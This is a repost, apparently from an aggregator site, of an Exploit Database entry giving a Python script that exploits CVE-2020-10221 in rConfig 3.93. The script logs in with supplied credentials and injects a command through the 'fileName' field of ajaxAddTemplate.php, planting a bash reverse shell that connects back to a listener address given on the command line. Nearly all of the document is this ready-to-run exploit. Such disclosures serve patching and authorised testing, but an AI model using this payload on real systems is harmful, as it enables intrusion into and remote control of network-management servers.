rConfig 3.93 – ‘ajaxAddTemplate.php’ Authenticated Remote Code Execution

• Exploit Database
• 15 阅读

• 作者： Engin Demirbilek
  日期： 2020-03-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48207/

• # Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
  # Date: 2020-03-08
  # Exploit Author: Engin Demirbilek
  # Vendor Homepage: https://www.rconfig.com/
  # Version: rConfig <= 3.94
  # Tested on: centOS
  # CVE: CVE-2020-10221
  # Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce
  
  import requests
  import sys
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  if len(sys.argv) < 6:
  	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
  	exit()
  
  url = sys.argv[1]
  user = sys.argv[2]
  password = sys.argv[3]
  payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])
  
  login = {
  	'user':user,
  	'pass':password,
  	'sublogin':'1'
  }
  req = requests.Session()
  print "Sendin login request ..."
  login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)
  
  payload = {
  	'fileName':payload,
  }
  
  
  
  print "[+] Sendin exploit ..."
  
  exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
  'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
  'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Encoding':'gzip, deflate',
  'Content-Type':'application/x-www-form-urlencoded'},verify=False)
  
  if exploit.status_code == 200:
  	print "[+] Everything seems ok, check your listener."
  else:
  	print "[-] Exploit failed,system is patched or credentials are wrong."